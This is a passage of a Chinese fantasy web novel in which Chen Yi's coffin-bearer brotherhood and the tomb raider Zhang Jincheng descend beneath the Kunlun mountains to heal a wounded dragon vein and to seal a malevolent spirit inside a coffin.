这一拜,拜的不是年纪,不是身份。
是规矩。
是陈义在黑风口立下的,京城地下世界,动土见血,皆要拜他义字堂山头的规矩。
陈义受了他这一拜,面色无波:“死不了?”
“劳八爷挂心。”张金城直起身,惨然一笑,“就是这身骨头,怕是再也玩不了‘燃血开眼’那种把戏了。”
“够用就行。”
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陈义指向远处的“奇点”,“认得么?”
“化成灰都认得。”张金城的眼神无比凝重,“古籍里称之为‘龙墟’,龙脉陨落的异象。可……书上说,唯有国运崩塌,朝代更迭之时,才可能出现。怎么会……”
“被人用钻头,钻出来了。”陈义的语气不起波澜,却充满了世间最大的讽刺。
张金城嘴角一抽,看了一眼周围那些茫然的军人和科学家,低声道:“他们不懂。这钻头,打穿的不是地壳,是阴阳两界的壁垒。”
“我要你的眼睛。”陈义开门见山,“找到那个‘创口’在龙脉上的确切位置,找到它的‘骨缝’。”
张金城呼吸一滞:“八爷,您当真要……”
“给它接骨。”
张金城沉默了。
他死死盯着陈义,想从那张年轻的脸上看出半点疯狂或玩笑。
但没有。
那双眼睛平静得像一口深渊。
“疯子……”张金城吐出两个字,“八爷,那不是山,那是活的!是整片神州大地的‘势’!您去接龙骨,和抱着太阳做手术有什么区别?”
“所以才需要你。”
陈义伸出手,摊开。
一枚古朴的铜盘,静静躺在他掌心。
摸金门的镇派之宝,七巧分金盘。
张金城的呼吸瞬间粗重,死死盯着那枚铜盘,眼中血丝毕现。
“我的人,负责‘抬’。”陈义的声音不容置疑,“你,负责‘看’。”
“事成之后,它,还给你。”
“就当是摸金门给我义字堂交的……第一份投名状。”
投名状!
用昆仑龙脉当投名状!
张金城浑身剧震,他彻底明白了。
这不是商量。
这是陈义在给他,给整个摸金门一个机会。一个在新的规矩下,重新找到位置的机会。
要么,接下这份能要了整个门派老命的投名状,攀上义字堂这艘神鬼莫测的大船。
要么,今天就死在这,让摸金门断了传承。
“好!”
张金城一咬牙,眼中闪过赌徒般的决绝。
“八爷看得起我张某人,我摸金门……接了!”
他颤抖着手,从陈义手中接过了七巧分金盘。
铜盘入手,血脉相连的温润感传来,张金城几乎落下泪来。他逼出心头最后一丝精血,点在分金盘的天心。
“摸金校尉,听我号令!开坛!寻龙!”
一声令下,身后两个汉子立刻取出法器,香炉、黄符、罗盘,就地摆开一个小的分金定穴阵。
张金城盘膝坐于阵中,平举铜盘。
“敕!”
一声低喝,分金盘上的指针没有指向南北,而是发出一阵尖锐的嗡鸣,开始疯狂地逆时针旋转!
指针越转越快,最后化作一道肉眼难辨的虚影。
“噗!”
张金城猛地喷出一口鲜血,尽数洒在分金盘上。
第134章 我来执刀!
张金城的声音嘶哑,带着湿漉漉的血气和骨骼摩擦的异响。
“地下……九千米……龙骨第三节枢椎……穿孔。”
他每吐出一个字,生命气息就黯淡一分。
话音落下的瞬间,张金城向后瘫倒,彻底昏死过去,被身边的摸金校尉七手八脚地扶住。
周围的军官与科学家们满脸茫然,龙骨?枢椎?这都什么跟什么?
这串坐标,在陈义的耳中却如惊雷炸响。
他看了一眼人事不省的张金城,目光转向那两个脸色惨白的摸金校尉,语气平淡。
“照顾好你们的掌舵人。”
“等他醒了,告诉他,这份投名状,我义字堂收下了。”
话毕,他转身,望向那位肩扛将星、此刻却眉头紧锁的周克将军。
周克的眼神在陈义和那个不断喷吐黑雾的“奇点”之间来回移动,内心正经历着天人交战。
“周将军,我需要你的人清空这里。”陈义的声音响起,没有请求,只有宣告。
“以‘奇点’为中心,五百米内,除了我义字堂,不留任何活口。”
“陈先生!”周克猛地抬头,军人的天职让他下意识地拒绝,“我们的职责是守护阵地,不是撤退!而且里面……”
“我们要下井了。”陈义直接打断他。
“动静会很大,我不想看见无谓的牺牲。”
“你们守住外围,别让任何脏东西从里面跑出来,就是最大的功劳。”
下井?进入那个连卫星信号都能屏蔽,能瞬间分解特种合金的地狱入口?
周克正要再次反驳,却对上了陈义的目光。
那是一双怎样的眼睛?
平静,幽深,仿佛万古不变的星空,里面没有人类的情绪,只有制定和执行规则的绝对意志。
周克感觉自己面对的不是一个人,而是一种天道,一种法则。
他所有基于科学、基于军纪、基于职责的抗辩,在那双眼睛面前,都显得如此苍白可笑。
最终,他艰难地从喉咙里挤出一个字。
“是!”
一声令下,临时营地以前所未有的速度紧急撤离。
士兵、科学家、重型装备,如退潮般向后方散去。
广阔的山谷盆地,转瞬间只剩下义字堂八人,一口乌沉沉的迎宾棺,八根玄黑的乌木杠木。
以及,远处那个如同大地张开的,不断吞吐着黑色龙煞的深渊巨口。
山风呼啸,卷起沙石,天地一片死寂。
“八……八爷,真……真要下去啊?”胖三的牙齿在打颤,他看着那个窟窿,感觉自己的魂儿都快被吸进去了。
“那下面九千-->>米深,别说龙煞了,就是岩浆的温度和地核的压力,咱们这点肉身下去,不够塞牙缝的。”
“谁说要用肉身下去了?”
陈义瞥了他一眼,走到空地中央。
他将八根乌木杠木,按照一种极其玄奥的阵图方位,一一顿在地上。
那阵型如同一支巨大的箭头,锋芒直指远处的“奇点”。
“大牛!猴子!老七!”
“在!”三人沉声应答,早已将恐惧压在心底。
“请缚龙索!”
猴子和老七立刻从行囊中擎出两条漆黑如墨的绳索,绳身遍布细密的鳞状纹路,幽光流转。
大牛则取出了八个磨盘大小、刻满避水符文的泰山石锁,依次摆开。
“今天,不抬棺。”
陈义的声音在空旷的山谷中激起回音,带着一股斩钉截铁的霸道。
“今天,咱们搭个桥!”
“世人只知八仙过海,各显神通。却不知我义字堂的‘八仙’,抬的是棺,搭的也是棺!”
“今天,就用这八根杠木,为昆仑龙脉,搭一座直通地心的……奈何桥!”
他一声令下,义字堂八人瞬间归位。
陈义傲立于箭头之巅,双脚稳稳踏在两根杠木的交汇处。
“义字堂,听我号令!”
“结阵!八仙渡海!”
一声暴喝,八人同时吸气,脚步以一种无比沉雄的古老韵律,重重踏下。
不再是七星步。
每一步落下,大地都随之轰鸣,仿佛他们的心跳,强行与整座昆仑山脉的脉搏,校准到了同一频率。
八人的气息,瞬间贯穿相连。
一股阳刚、霸烈、一往无前的“势”,从阵中冲霄而起!
但这股“势”,既没有化作怒目金刚,也未凝聚成金色光柱。
而是化作八道肉眼可见的实质涟漪,尽数灌入脚下的乌木杠木!
“嗡——”
八根凡木,在这一刻仿佛被注入了神性,彻底活了过来!
木头表面,一道道尘封的古老符文自行燃亮,彼此勾连,瞬间构成一幅完整而复杂的立体阵图!
“起!”
陈义再次低喝。
八根杠木,连同站在上面的义字堂八人,竟无视了万有引力,在一阵剧烈的空间扭曲中,从地面缓缓悬浮而起!
他们漂浮在离地三尺的空中,脚下的杠木阵图,散发出稳定而恐怖的能量波动。
“我……**!飞……飞起来了?”胖三站在自己的阵位上,感受着脚下传来的坚实感,又低头看了看空无一物的地面,整张脸都扭曲了。
“闭嘴!守好你的阵眼!”陈义的喝声在他脑海中炸响。
“八爷,咱们这是……去哪儿?”猴子强行压住内心的狂跳,涩声问道。
“去见一个‘老朋友’。”
陈义抬头,目光锁定前方那个巨大的黑色旋涡,双眸之中,紫金光焰暴涨。
他体内的【炎黄令】紫金龙气,在这一刻毫无保留,如长江决堤般,尽数灌入脚下大阵!
“开路!”
“轰!”
杠木大阵爆发出璀璨光芒,如一道撕裂天地的神罚之矛,带着义字
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堂八人,化作一道流光,悍然冲进了那个代表着死亡与混沌的黑色“奇点”!
冲入旋涡的瞬间,时间与空间的概念被彻底撕碎。
亿万道狂暴的龙煞化作狰狞的鬼爪与咆哮的龙头,从四面八方疯狂扑来。
这些能瞬间消融钢铁的恐怖能量,在撞上杠木大阵外围那层无形的“势”场时,却如同纸片撞上了绞肉机!
只听见一阵阵令人牙酸的尖啸,所有龙煞尽数被那股纯粹的“守护”意志,撕扯、碾碎、化为虚无!
【**同心鳞】的力量,被催发到了极致!
“噗!”
杠木大阵撕开黑色旋涡的表层,闯入一个光怪陆离的异度空间。
这里没有上下,没有左右,只有无尽的混沌与混乱的能量乱流。
“稳住!”陈义暴喝。
八人脚下的大阵,在狂暴的能量风暴中,剧烈摇晃,仿佛随时都会解体。
“胖三!迎宾棺!”
“得嘞!”
胖三早有准备,他猛地一巴掌拍在身边悬浮的柳木棺上。
“开席——!”
棺盖轰然洞开!
一股比周围所有龙煞加起来还要纯粹、还要霸道的恐怖吸力,从那黑洞洞的棺口中井喷而出!
周围那些足以撕裂空间的能量乱流,仿佛找到了唯一的归宿,疯了一般涌入迎宾棺中!
剧烈颠簸的杠木大阵,瞬间稳如泰山。
迎宾棺,这件收容凶煞的法器,在此刻,竟成了一尊完美的“压舱石”!
“张三爷说,地下九千米……”陈义闭上双眼,眉心的【社稷之鳞】全力运转,感知着这片混乱空间之下,那一道微弱却无比坚韧的龙脉走向。
“找到了!”
他猛然睁眼,脚下轻轻一点。
杠木大阵瞬间调转方向,如一艘深海潜艇,朝着混沌空间的“下方”,急速俯冲!
下坠!
疯狂地下坠!
不知穿越了多少破碎的时空断层,下方,终于出现了一抹微光。
那是一条……巨大到无法用语言形容的,散发着微弱金光的……骨头。
仅仅是暴露出来的一小截,就比地球上任何山脉都要雄伟壮阔。
骨头上,布满了蛛网般的裂纹,散发着腐朽与衰败的绝望气息。
而在那“骨头”的正中央,一个直径超过百米的巨大钻孔,触目惊心。
黑色的龙煞,正如同决堤的洪水,源源不断地从那孔洞中喷涌而出。
“枢椎……穿孔……”
陈义看着眼前的创口,终于抵达了昆仑龙脉的核心伤处。
“准备干活!”
他的声音,在每一个兄弟的灵魂深处响起。
“猴子,老七,缚龙索!锁死创口两侧的‘天枢’、‘玉衡’两大穴窍!”
“大牛,泰山石锁!给我镇住龙煞喷发的‘气海’!”
“其余人,随我……接骨!”
第135章 我为神州执刀,地心九千米,刮骨疗毒!
棺盖轰然洞开!
一股比周围所有龙煞加起来还要纯粹、还要霸道的恐怖吸力,从那黑洞洞的棺口中井喷而出!
周围那些足以撕裂空间的能量乱流,如同找到了唯一的归宿,疯了一般涌入迎宾棺中!
剧烈颠簸的杠木大阵,瞬间稳如泰山。
迎宾棺,这件收容凶煞的法器,在此刻,竟成了一尊完美的“压舱石”!
“张三爷说,地下九千米……”
陈义闭上双眼,眉心的【社稷之鳞】全力运转,感知着这片混乱空间之下,那一道微弱却无比坚韧的龙脉走向。
“找到了!”
他猛然睁眼,脚下轻轻一点。
杠木大阵瞬间调转方向,如一艘深海潜艇,朝着混沌空间的“下方”,急速俯冲!
下坠!
疯狂地下坠!
不知穿越了多少破碎的时空断层,下方,终于出现了一抹微光。
那是一条……巨大到无法用语言形容的,散发着微弱金光的……骨头。
仅仅是暴露出来的一小截,就比地球上任何山脉都要雄伟壮阔。
骨头上,布满了蛛网般的裂纹,散发着腐朽与衰败的绝望气息。
而在那“骨头”的正中央,一个直径超过百米的巨大钻孔,触目惊心。
黑色的龙煞,正如同决堤的洪水,源源不断地从那孔洞中喷涌而出。
“枢椎……穿孔……”
陈义看着眼前的创口,终于抵达了昆仑龙脉的核心伤处。
胖三已经说不出话了。
他只是呆呆地望着那根比山脉还宏伟的金色骨骼,脑子里一片空白。
以前见过的所有场面,跟眼前这一幕比起来,都像是小孩子过家家。
他张了张嘴,想说点什么俏皮话来缓解一下气氛,却发现喉咙干得像撒哈拉沙漠,一个字都蹦不出来。
“准备干活!”陈义的声音,在每一个兄弟的灵魂深处响起。
“猴子,老七,缚龙索!锁死创口两侧的‘天枢’、‘玉衡’两大穴窍!”
“遵命!”
猴子和老七齐声应喝。
两人双手结印,两条缚龙索如有了生命般自行飞出,划出两道黑色弧线。
在【社稷之鳞】的精准导航下,缚龙索一左一右,精准地钉入龙骨表面两处微光闪烁的凹陷处,深深扎根。
绳索绷紧,仿佛两只巨手,死死钳住了这截受伤的龙骨,防止它在接下来的“手术”中因为剧痛而崩裂。
“大牛,泰山石锁!给我镇住龙煞喷发的‘气海’!”
“吼!”
大牛发出一声闷雷般的咆哮,蒲扇般的大手抓起八个磨盘大小的泰山石锁,肌肉坟起,青筋如龙。
他以一种蛮不讲理的姿态,将八块石锁狠狠砸向那个喷吐黑雾的巨大钻孔!
“轰!轰!轰!”
八块石锁按八卦方位落下,篆刻的避水符文金光大放,彼此连接成一个巨大的金色光罩,硬生生将那汹涌喷出的龙煞给堵了回去!
被堵住的龙煞在光罩内疯狂冲撞,凝聚成一张无比巨大而扭曲的人脸,死死盯着大牛。
大牛毫不示弱,双目圆睁,金瓜锤已握在手中,一股刽子手的凛冽煞气与龙煞的阴冷暴戾狠狠对撞,竟一时不落下风。
“其余人,随我……接骨!”
陈义的声音再次响起。
他深吸一口气,从阵法核心一步踏出,悬浮于那巨大创口的正上方。
“今日,我为神州执刀!”
他双指并拢,化作剑指,眉心那枚代表着极致杀伐的【兵主之鳞】骤然亮起!
一缕比发丝还要纤细,却比世间任何刀锋都要锐利的混沌色光芒,从鳞片中射出,缠绕在他的指尖。
这不是蛮力,而是规则层面的“切割”。
陈义剑指划下,目标,直指钻孔周围那些已经被龙煞侵蚀、变得焦黑腐朽的骨质!
“清创!”
指尖的混沌光芒,如手术刀般精准地切入龙骨。
没有惊天动地的巨响,只有一阵令人头皮发麻的“滋滋”声。
那些坚不可摧的龙骨,在兵主之鳞的力量面前,如同被岁月风化的砂岩,被一片片剥离、净化、消融。
远在千里之外的昆仑山军事营地,大地猛地一震!
“报告!监
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测到里氏9.8级地震!震源……震源就在‘奇点’正下方!”
“所有地质应力监测仪爆表!山体内部结构正在发生剧烈重组!”
周克将军死死抓着指挥台的边缘,目光穿过屏幕,望向那片已经恢复平静,却让他感到更加心悸的盆地。
**下面发生了什么,但他知道,陈义说的“动静会很大”,绝不是危言耸听。
地心深处,陈义的动作行云流水,快如闪电。
每一刀下去,都带走一片腐朽,留下一道崭新而平滑的创口。
这个过程,对于昆仑龙脉而言,无异于刮骨疗毒,剧痛无比。
整条龙骨都在微微颤抖,发出沉闷的呻吟。
但有缚龙索的固定,有大牛的**,更有义字堂七兄弟以自身为代价稳固的“八仙渡海”大阵,这场九千米地心深处的外科手术,得以有条不紊地进行。
终于,随着陈义切下最后一片被污染的骨质,整个直径百米的巨大钻孔,被清理得干干净净,露出下方虽然暗淡但依旧纯净的金色骨骼。
然而,清创完成,也意味着创口彻底洞开。
龙脉的本源精华,开始以更快的速度向外流失。
被大牛用泰山石锁**在创口之下的龙煞,敏锐地感觉到了龙脉的虚弱。
它们不再是混乱的能量体,而是迅速凝聚,如同百川归海。
那张巨大而扭曲的人脸,在短短数息之内,由虚转实,化作一个没有固定形态,通体由纯粹的怨恨、痛苦和疯狂构成的漆黑怪物。
它没有五官,身体表面却睁开了成千上万只血红色的眼睛。
“煞……煞灵!”
陈义瞳孔一缩。
这不是普通的龙煞了。
这是昆仑龙脉万古沉寂中积攒的负面情绪,因这次重创而被唤醒、激活,诞生出的拥有初步智慧的……煞灵!
它不再攻击力量最强的大牛,而是将成千上万只眼睛,同时锁定了漂浮在空中的“八仙渡海”大阵。
“桀——”
一声不似人间能有的尖啸,直接在义字堂八人的灵魂深处炸开。
煞灵动了!
第136章 敕令摸金,以我阴阳合葬昆仑!
那道煞灵所化的黑色电光,并非物理层面的冲击。
它撞上“八仙渡海”阵的护体气场,无声无息地融化,分解成亿万缕精神剧毒,顺着八人气机连接的轨迹,直刺神魂。
心魔审判。
胖三眼前骤然漆黑,腹中饥火烧灼,耳边是无尽的鄙夷与恶毒的催债声,怀中爷爷的牌位冰冷刺骨。
猴子看见了过往任务中,在他面前倒下的兄弟,那份无力与自责化作钢刀,反复切割他的灵魂。
大牛的金瓜锤下,无数亡魂的面孔扭曲浮现,包围着他,用最凄厉的怨恨质问他为何行刑。
每个人的心神,都坠入了各自最不堪回首的深渊。
八仙大阵光芒狂闪,八根乌木杠木剧烈震颤,眼看就要失控坠落。
一旦阵破,地心九千米的混沌压力,会将他们瞬间碾为宇宙的尘埃。
“醒来!”
一声龙吟,不来自喉咙,而是直接在七人灵魂最深处炸响!
是陈义的声音!
那声音里没有安抚,没有劝慰,只有至高无上的皇道威严,不容许任何软弱与沉沦。
紫金色的光焰在陈义双瞳中爆燃,【炎黄令】的神威如煌煌大日,将侵入识海的所有阴霾毒素,焚烧得一干二净!
众人浑身剧震,猛然从幻觉中挣脱,个个脸色煞白,冷汗浸透了衣背。
“八……八爷……这东西,它掏心窝子……”胖三的声音都在哆嗦。
陈义面沉似水。
他知道,这只是开始。
这煞灵是昆仑龙脉负面情绪的集合体,只要创口不愈,心防稍有松懈,这种灵魂攻击便永无止境。
杀它?
念头一起,便被陈义掐灭。
煞灵与龙脉同源,杀了它,等于亲手再捅龙脉一刀。
不能杀,又不能任其放肆……
陈义的目光,落在了阵法中央那口乌沉沉的百年柳木棺上。
那就只能,收容!
既然是昆仑生的“病”,这“病灶”就由我来切除。
既然是龙脉养的“煞”,这份“大餐”,我义字堂便替天行道,笑纳了!
陈义的嘴角,勾起一抹冰冷酷烈的弧度。
“胖三!”
“在!八爷您吩咐!”胖三一个激灵,腰杆瞬间挺得笔直。
“待会儿,听我口令。”陈义的声音不容置疑,“用你这辈子最大的嗓门,给它……开席!”
“啥?”胖三又懵了,请这玩意儿吃饭?吃谁?
“其余人,变阵!”陈义暴喝,根本不给他思考的时间,“以我为饵,结‘锁龙困神’!”
义字堂众人毫不犹豫,瞬间变换脚步。
锐意进取的“八仙渡海”阵瞬间收缩,化作一个内外交困、层层绞杀的螺旋囚笼。
而陈义,就站在囚笼的最中央。
他收敛了全身紫金龙气,压制了【炎黄令】的神威,让自己看起来,就像一个失去所有力量、孤立无援的凡人。
一个完美的诱饵。
“桀——”
煞灵发出贪婪的嘶鸣。
它能感觉到,只要吞掉眼前这个人类,它就能获得完整的智慧,甚至反客为主,彻底掌控这条虚弱的龙脉!
诱惑战胜了警惕。
它不再试探,庞大的身躯化作一张遮天蔽日的黑色巨网,朝着陈义当头罩下!
时机已到!
“胖三!开席!”
胖三吓得一哆嗦,但多年养成的肌肉记忆支配了身体,他猛地一巴掌拍在迎宾棺上,扯着那副混合了恐惧、谄媚、悲愤、欣喜的古怪腔调,嚎了出来:
“来咯——!贵客一位——!里边儿请啊——!”
“轰!”
迎宾棺的棺盖,应声洞开!
一股能吞噬万物的恐怖吸力,从黑洞洞的棺口井喷而出!
那张罩向陈义的黑色巨网,在距离他头顶不到一尺的地方,猛地僵住。
一边是近在咫尺的无上美味。
一边是能将自己拖入无尽深渊的绝对恐惧。
煞灵那刚刚凝聚的智慧,陷入了前所未有的混乱。
“送客!”
陈义抓住这稍纵即逝的破绽,全身力量逆转爆发!
“锁龙困神”阵骤然由内向外扩张,一股磅礴的斥力如无形巨手,狠狠推在煞灵的“后背”!
“嗷!”
煞灵发出一声惊怒的惨叫,身不由己地朝着迎宾棺的棺口,倒飞而去!
“走你!”胖三见状大喜,胆气横生,跳起来就是一记窝心脚。
“砰!”
漆黑的煞灵,被这临门一脚,结结实实地踹进了迎宾棺内。
“轰隆——”
棺盖瞬间合拢,发出一声雷霆闷响。
棺材剧烈颤抖,疯狂的撞击声与不甘的咆哮从中传出,但片刻之后,一切都归于死寂。
危机,暂时解除。
但真正的死局,接踵而至。
失去了煞灵的刺激,本就虚弱的昆仑龙脉,生命气息以肉眼可见的速度衰败。
创口中那微弱的金光,黯淡得如同风中残烛。
龙脉,要**。
陈义面色凝
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重。
必须立刻“接骨”,填补那个窟窿。
用什么填?
用兄弟们的阳气?用自己的龙气?
不行!
这些都是外来之物,强行填补只会引发更剧烈的排异反应,加速死亡。
必须是同根同源,蕴含神州大地气息的“材料”!
可在这地心九千米的混沌里,去哪找?
陈义眉心紧锁,【社稷之鳞】的力量疯狂推演,却一次次陷入死胡同。
就在这时,他腰间,那枚从张三爷那里“借”来的七巧分金盘,突然“嗡嗡”作响。
盘面指针疯狂旋转,最后,竟死死地指向了“上方”。
地面。
陈义眼中精光一闪。
他瞬间明白了什么。
阳为创造,阴为规矩。
抬棺主生,渡魂归墟;摸金主死,扰动阴阳。
他的力量再霸道,也是纯阳之功,是“创造”。而要修补这大地龙脉,还需要一份“规矩”之力,一份属于“阴”的力量来规划走向,引导生机!
原来如此!
这才是真正的“阴阳调和”!
这才是执绋人与摸金校尉,两条看似永不相交的传承,在此刻相遇的真正意义!
“好一个张金城!好一个摸金校尉!”
陈义仰天长笑,笑声豪迈,震得整片混沌空间都在动荡。
“这投名状,我收得不亏!”
他没有去等张金城的消息,更不需要对方的指点。
他,陈义,是来立规矩的!
陈义一把抓起那枚震颤的分金盘,将自己的一缕紫金龙气悍然打入!
“张金城!醒来!”
“我需要你的‘术’,为我的‘道’开路!”
“以你摸金一脉千年传承为引,给我在这昆仑地心,画出龙脉走向!”
“你若能做到,我便允你摸金一脉,在我义字堂的规矩之下,重见天日!”
“你若做不到,今日,便是摸金校尉传承断绝之日!”
他的声音,通过分金盘的共鸣,化作煌煌天威,跨越九千米的地层与混沌,直接在地面之上,在那个临时搭建的军阵中,轰然炸响!
这是命令!是敕令!
是炎黄执绋人,对另一条古老传承的征召与考验!
做成了,是国运大造化!
做不成,就地抹除!
他猛地转身,面向早已精疲力竭的兄弟们,声音如洪钟大吕,充满了焚尽八荒的战意。
“都给我打起精神来!”
“准备……接引昆仑!”
第137章 我为神州接龙骨!
地心深处的长笑,与地面之上呕血的身影,在此刻通过无形的“气”,达成了超越言语的共鸣。
一个抬棺匠,一个摸金贼。
一个为亡魂立规矩的执绋人,一个惊扰死者安宁的倒斗客。
此刻,这代表着阴阳两极、生死两端的宿命传人,将以各自的方式,在这神州龙脉的核心,完成一桩足以改写历史的伟业。
“周将军!”
地面上,张金城猛地咳出一大口混着内脏碎块的血,他指着周围,用尽全身力气嘶吼。
“以我为中心!正东、正西、正南、正北,各派九辆重卡!”
“东南、西南、东北、西北,各立三十六名士兵!”
“阵型不能乱!一步都不能错!”
他声音嘶哑,带着血腥气,却有着不容置喙的威严。
“这是‘地脉导引大阵’,是帮陈八爷稳住‘手术台’的唯一方法!”
周克早已被这超出理解的一幕幕彻底折服,闻言没有丝毫犹豫,立刻抓起对讲机,以最清晰、最急促的语调下达了精准指令。
一时间,整个临时营地都动了起来。
一辆辆钢铁巨兽般的军用重卡轰鸣着,在士兵们的引导下,精准地停泊在指定位置。
一队队荷枪实弹的士兵,迈着整齐划一的步伐,站定在八卦方位之上,枪口一致朝外,煞气冲霄。
短短几分钟内,一个以张金城为核心,以军方的重装备和人员为“阵旗”的巨型“七巧分金阵”,在昆仑山的盆地中巍然成型!
张金城看着这由钢铁与血肉铸就的宏伟阵法,眼中闪过一丝癫狂的亢奋。
摸金一脉,何曾有过如此大的手笔!
以国之重器布阵,以三军将士为基!
他知道,地下的那个男人,比他更疯!
“起阵!”
张金城再次呕出一口心头血,尽数喷洒在身前的分金盘上。
嗡——!
整个大地都随之剧烈共鸣。
那由卡车和士兵组成的阵法被一股无形的力量激活,一道道肉眼不可见的地气,被强行从大地深处抽出,按照张金城的意志,扭曲、盘旋,最终汇聚成一个巨大的能量漏斗,精准地对准了下方九千米处的那个龙脉创口!
他,已经为陈义画好了“河道”!
……
地心混沌中。
陈义清晰地感知到了来自上方的引导力。
那股力量精微、巧妙,一个顶尖的外科医生,在他的“手术区域”内,用能量标记出了一根根需要吻合的“血管”和“神经”。
“兄弟们,换阵!”
陈义沉声暴喝。
“八仙过海,化为……烘炉!”
义字堂七人闻声而动,脚步再变。
杠木大阵的形态从锐不可当的“矛”,转为厚重沉凝的“鼎”,八人分立八方,将陈义和那巨大的龙脉创口,一同围拢在中央。
他们不再是攻击者,也不是防御者。
而是化身为一座熔炼天地的巨型烘炉!
“今日,我陈义,以义字堂八人之躯为炉,以我毕生所学为火,为神州……重铸龙骨!”
陈义的声音庄严肃穆,响彻这片混沌空间。
他缓缓摊开手掌。
下一刻,一枚枚颜色各异的龙鳞,竟从他的血肉、骨骼中硬生生挤出,带着金色的血液,浮现在他的掌心之上!
代表厚重承载的土黄色【山河鳞】!
代表万民归心的赤金色【社稷之鳞】!
代表守护与团结的银白色【**同心鳞】!
代表极致杀伐与破灭的混沌色【兵主之鳞】!
更有那代表阴阳审判的黑白双色【阴阳两判鳞】,以及那枚纯真守护的乳白色【童心之鳞】!
他这一路走来,所得的所有造化,所有感悟,所有功德,在这一刻,尽数显化!
“八爷这是……”
胖三等人看得眼珠子都快瞪出来了,他们从未想过,陈义的身体里,竟蕴藏着如此多不同,甚至相互冲突的恐怖力量。
“老祖宗常说,水满则溢。”
陈义的声音在他们耳边响起,平静却带着决绝。
“这些东西,放在我身上,是造化,也是负担。今天,就借着这个机会,把它们……还给这片土地!”
“炎黄血脉,在此为证!”
“熔!”
陈义低喝一声,体内的紫金龙气毫无保留地爆发。
一道纯粹的紫金光焰从他掌心喷薄而出,如同一颗真正的太阳,轰然点燃了悬浮在他掌心的所有龙鳞!
轰——!
恐怖的能量风暴在“烘炉”之内炸开!
山河之力、社稷之运、万民之心、兵主杀伐、阴阳法度……这些原本泾渭分明的至高规则,在【炎黄令】这最本源的血脉力量的强制调和下,被粗暴地熔于一炉!
七兄弟在阵法的边缘,承受着能量风暴的余波,一个个如遭万钧雷击,浑身剧颤,七窍中渗出金色的阳髓。
但他们没有一个人后退!
牙关咬碎,死死守住自己的阵位,维系着烘炉的稳定!
陈义位于风暴的中心,承受的压力是他们的千百倍。
他的身体表面,皮肤寸寸开裂,金色的血液不断渗出,又在瞬间被狂暴的能量蒸发。他的身躯在崩溃与重组之间疯狂闪烁,下一秒就会被这股连他自己都无法完全掌控的力量撕成碎片。
但他眼中,却只有绝对的冷静与专注。
“合!”
他双手猛地在胸前合十。
那团狂暴的、五光十色的能量风暴,被他以无上意志强行压缩、揉捏,最终,化作一团拳头大小,内部却有宇宙生灭之景不断变化的……混沌液滴。
这,就是全新的“骨髓”!
“去!”
陈义屈指一弹。
这滴浓缩了他毕生精华的混沌液滴,化作一道流光,精准无误地射入了龙脉那巨大的创口之中。
接下来,就是张金城的工作了。
地面上,张金城双目血红,死死盯着分金盘。
当那股恐怖到让他灵魂都在战栗的能量出现的瞬间,他没有恐惧,反而爆发出最后的亢奋。
“来了!”
“听我号令!导引地气,巽位走乾,离火注坎,兑金生震木……给我转!”
他用尽最后的力气,嘶声咆哮。
那由地气组成的“河道”,在他的引导下,如同最精密的引导系统,将那滴混沌液滴的力量,一丝不漏地引入了龙骨的创口。
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并且,按照天地间最稳固、最玄奥的“龙脉生发”之理,开始引导其与原本的龙骨进行融合。
一时间,地心深处,金光万丈!
那滴混沌液滴,遇到了最完美的催化剂,以肉眼可见的速度开始“生长”。
它不再是单纯的能量,而是开始演化。
山河之力化作坚不可摧的骨质,与周围的龙骨完美连接,不留一丝缝隙。
**同心之力化作无数细密的金色网络,将新生的龙骨与整条昆山,乃至神州大地的每一寸土地,都紧密地联系在一起,形成一个牢不可破的整体。
从此,一损俱损,一荣俱荣!
兵主杀伐之力,则在新生的龙骨表面,凝结成一层锋锐无匹的混沌色角质层。它平时隐而不发,可一旦再有外力侵犯,便会爆发出最凌厉的反击!
这叫龙有逆鳞,触之必死!
而最核心的社稷之运,则化作了新骨的“骨髓”,将神州万民的“国运”,与龙脉的“地运”,彻底绑定。
国强则龙脉强,龙脉兴则国运盛!
这是一个完美的循环!一个全新的开始!
“吼——!”
一声充满了喜悦、新生、与无尽威严的龙吟,从昆仑龙脉的深处发出,响彻天地!
地面上,那吞噬一切的黑色“奇点”,在龙吟声中,迅速收缩,最终消失不见。
取而代之的,是一片充满了盎然绿意的土地,青草以肉眼可见的速度破土而出,瞬间覆盖了整个盆地。
天空之上,黑雾散尽,天穹高远,阳光洒落,温暖而神圣。
指挥部里,所有人都呆呆地看着屏幕上那神迹般的一幕,鸦雀无声。
周克将军摘下军帽,对着那片生机勃勃的土地,缓缓地,行了一个标准的军礼。
地心深处,八仙渡海大阵带着力竭的义字堂八人,缓缓回到了地面。
陈义脸色苍白,但他身上的气息,却变得前所未有的纯粹与空灵。
失去了那些“造化”的束缚,他仿佛才真正回归了“执绋人”的本我。
他走到同样瘫软在地,几乎只剩一口气的张金城面前。
两人对视,没有说话。
但眼神中,那份跨越了门派、立场、生死的认同与敬意,比任何言语都更加真切。
经此一役,京城地下世界,再无摸金校尉。
或者说,摸金校尉,将以另一种方式,与执绋人,共同守护这片土地的“规矩”。
陈义正准备盘膝调息,苏家老宅中的那面“病历铜镜”,却毫无征兆地在他脑海中浮现。
镜面上,昆仑山那个巨大的黑点,已经彻底消失。
取而代之的,是一个如同太阳般炽热、不断向外辐射着磅礴生机的金色心脏。
修复完成。
但紧接着,镜面中央,一个古老、庄严、充满了无上威仪的金色符文,缓缓浮现。
那不是病灶,也不是任务。
那是一份……来自遥远过去的……召唤。
那个字,笔画古朴,囊括了天地人三才的至理,仿佛看一眼,就能看到人族从茹毛饮血到薪火相传的全部历史。
它代表着一个早已消失在历史长河中的至尊名号。
——“人皇”。
第138章 一纸皇召天下动,神鬼皆赴黄帝陵!
昆仑山,死亡谷盆地。
那个吞噬万物的黑色奇点已然无踪。
取而代之的,是一望无垠的茵茵绿草,空气里满是阳光被青草揉碎了的清新味道。
义字堂众人,除了陈义,有一个算一个,全都烂泥般瘫在地上。
胖三嘴唇干裂,仰躺着,眼里的天是刺目的蓝。
他感觉魂儿都被抽走了三两,连骨头缝里都是空的。
猴子和老七靠着彼此,胸膛剧烈起伏,像两条被扔上岸的鱼,贪婪地吞咽着每一口带着生机的空气。
大牛盘坐着,脸色蜡黄,闭目调息,身形却在微微发颤,显然是到了油尽灯枯的边缘。
另一侧,张金城和他手下的摸金校尉更是凄惨。
张金城躺在担架上,双眼紧闭,若非胸口那丝微不可察的起伏,与**无异。
他燃尽了心头血,耗空了毕生修为,只为在地心深处,给陈义标定出那条救世的“河道”。
这份代价,比天还重。
“都起来。”
陈义的声音不大,却像一口冰凉的井水,浇在每个人的天灵盖上。
